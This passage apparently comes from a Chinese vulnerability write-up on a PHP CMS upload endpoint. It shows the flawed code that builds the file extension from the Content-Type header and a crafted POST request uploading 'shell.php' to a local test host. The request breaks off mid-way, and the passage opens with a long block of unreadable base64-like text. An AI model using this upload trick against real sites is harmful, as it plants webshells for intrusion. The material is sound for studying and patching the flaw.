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<p>在debug过程中发现一个replace语句其中将我们的$_FILES['imgFile']['type']中的image/换成了点,那么我们的 $_FILES['imgFile']['type']为请求包中的Content-Type: application/octet-stream部分</p>
<div class=highlight><pre><span></span><span class=err>$</span><span class=nb>type</span> <span class=o>=</span> <span class=n>str_replace</span><span class=p>(</span><span class=s1>'image/'</span><span class=p>,</span> <span class=s1>'.'</span><span class=p>,</span> <span class=err>$</span><span class=n>_FILES</span><span class=p>[</span><span class=s1>'imgFile'</span><span class=p>][</span><span class=s1>'type'</span><span class=p>]);</span>
</pre></div>
<p><a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301141247-b95c5f80-d792-1.png><img src="data:image/png;base64,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 truncated
<p>并且在替换后有一个拼接操作,进行源码分析</p>
<div class=highlight><pre><span></span><span class=err>$</span><span class=n>imgURL</span><span class=o>=</span><span class=p>(</span><span class=err>$</span><span class=n>_FILES</span><span class=p>[</span><span class=s1>'imgFile'</span><span class=p>][</span><span class=s1>'tmp_name'</span><span class=p>]);</span>
<span class=o>//</span><span class=err>进行替换操作</span>
<span class=err>$</span><span class=nb>type</span> <span class=o>=</span> <span class=n>str_replace</span><span class=p>(</span><span class=s1>'image/'</span><span class=p>,</span> <span class=s1>'.'</span><span class=p>,</span> <span class=err>$</span><span class=n>_FILES</span><span class=p>[</span><span class=s1>'imgFile'</span><span class=p>][</span><span class=s1>'type'</span><span class=p>]);</span>
<span class=o>//</span><span class=err>将替换后的内容进行拼接,这里导致了我们后缀可控</span>
<span class=err>$</span><span class=n>imgURL_name</span><span class=o>=</span><span class=n>time</span><span class=p>()</span><span class=o>.</span><span class=n>mt_rand</span><span class=p>(</span><span class=mi>1</span><span class=p>,</span><span class=mi>1000</span><span class=p>)</span><span class=o>.</span><span class=err>$</span><span class=nb>type</span><span class=p>;</span>
<span class=o>//</span><span class=err>移动操作</span>
<span class=n>move_uploaded_file</span><span class=p>(</span><span class=err>$</span><span class=n>imgURL</span><span class=p>,</span><span class=err>$</span><span class=n>uploadImg</span><span class=o>.</span><span class=err>$</span><span class=n>imgURL_name</span><span class=p>);</span>
<span class=err>$</span><span class=n>image</span> <span class=o>=</span> <span class=err>$</span><span class=n>uploadImg</span> <span class=o>.</span> <span class=err>$</span><span class=n>imgURL_name</span><span class=p>;</span>
<span class=n>echo</span> <span class=n>json_encode</span><span class=p>(</span><span class=n>array</span><span class=p>(</span><span class=s2>"error"</span><span class=o>=&gt;</span><span class=err>$</span><span class=n>error</span><span class=p>,</span><span class=s2>"url"</span><span class=o>=&gt;</span><span class=err>$</span><span class=n>image</span><span class=p>,</span><span class=s1>'message'</span><span class=o>=&gt;</span><span class=err>$</span><span class=n>msg</span><span class=p>));</span>
</pre></div>
<p>如果我们将Content-Type: application/octet-stream修改为Content-Type: image/php那么拼接时会变成.php的后缀。</p>
<p><a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301141335-d6137b86-d792-1.png><img src=data:image/png;base64,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 truncated
<p>构造恶意请求包</p>
<div class=highlight><pre><span></span><span class=n>POST</span> <span class=o>/</span><span class=n>index</span><span class=o>.</span><span class=n>php</span><span class=err>?</span><span class=n>module</span><span class=o>=</span><span class=n>system</span><span class=o>&amp;</span><span class=n>action</span><span class=o>=</span><span class=n>uploadImg</span> <span class=n>HTTP</span><span class=o>/</span><span class=mf>1.1</span>
<span class=n>Host</span><span class=p>:</span> <span class=mf>127.0</span><span class=o>.</span><span class=mf>0.1</span><span class=p>:</span><span class=mi>8080</span>
<span class=n>User</span><span class=o>-</span><span class=n>Agent</span><span class=p>:</span> <span class=n>Mozilla</span><span class=o>/</span><span class=mf>5.0</span> <span class=p>(</span><span class=n>Windows</span> <span class=n>NT</span> <span class=mf>10.0</span><span class=p>;</span> <span class=n>Win64</span><span class=p>;</span> <span class=n>x64</span><span class=p>;</span> <span class=n>rv</span><span class=p>:</span><span class=mf>123.0</span><span class=p>)</span> <span class=n>Gecko</span><span class=o>/</span><span class=mi>20100101</span> <span class=n>Firefox</span><span class=o>/</span><span class=mf>123.0</span>
<span class=n>Accept</span><span class=p>:</span> <span class=n>text</span><span class=o>/</span><span class=n>html</span><span class=p>,</span><span class=n>application</span><span class=o>/</span><span class=n>xhtml</span><span class=o>+</span><span class=n>xml</span><span class=p>,</span><span class=n>application</span><span class=o>/</span><span class=n>xml</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.9</span><span class=p>,</span><span class=n>image</span><span class=o>/</span><span class=n>avif</span><span class=p>,</span><span class=n>image</span><span class=o>/</span><span class=n>webp</span><span class=p>,</span><span class=o>*/*</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.8</span>
<span class=n>Accept</span><span class=o>-</span><span class=n>Language</span><span class=p>:</span> <span class=n>zh</span><span class=o>-</span><span class=n>CN</span><span class=p>,</span><span class=n>zh</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.8</span><span class=p>,</span><span class=n>zh</span><span class=o>-</span><span class=n>TW</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.7</span><span class=p>,</span><span class=n>zh</span><span class=o>-</span><span class=n>HK</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.5</span><span class=p>,</span><span class=n>en</span><span class=o>-</span><span class=n>US</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.3</span><span class=p>,</span><span class=n>en</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.2</span>
<span class=n>Accept</span><span class=o>-</span><span class=n>Encoding</span><span class=p>:</span> <span class=n>gzip</span><span class=p>,</span> <span class=n>deflate</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Type</span><span class=p>:</span> <span class=n>multipart</span><span class=o>/</span><span class=n>form</span><span class=o>-</span><span class=n>data</span><span class=p>;</span> <span class=n>boundary</span><span class=o>=---------------------------</span><span class=mi>3521672959703348041050404464</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Length</span><span class=p>:</span> <span class=mi>238</span>
<span class=n>Origin</span><span class=p>:</span> <span class=n>http</span><span class=p>:</span><span class=o>//</span><span class=mf>127.0</span><span class=o>.</span><span class=mf>0.1</span><span class=p>:</span><span class=mi>8080</span>
<span class=n>Connection</span><span class=p>:</span> <span class=n>close</span>
<span class=n>Cookie</span><span class=p>:</span> <span class=n>admin_mojavi</span><span class=o>=</span><span class=n>idaa1su8mvj9leoubg27osau0r</span>
<span class=n>Upgrade</span><span class=o>-</span><span class=n>Insecure</span><span class=o>-</span><span class=n>Requests</span><span class=p>:</span> <span class=mi>1</span>
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>Dest</span><span class=p>:</span> <span class=n>iframe</span>
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>Mode</span><span class=p>:</span> <span class=n>navigate</span>
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>Site</span><span class=p>:</span> <span class=n>same</span><span class=o>-</span><span class=n>origin</span>
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>User</span><span class=p>:</span> <span class=err>?</span><span class=mi>1</span>
<span class=o>-----------------------------</span><span class=mi>3521672959703348041050404464</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Disposition</span><span class=p>:</span> <span class=n>form</span><span class=o>-</span><span class=n>data</span><span class=p>;</span> <span class=n>name</span><span class=o>=</span><span class=s2>"imgFile"</span><span class=p>;</span> <span class=n>filename</span><span class=o>=</span><span class=s2>"shell.php"</span>
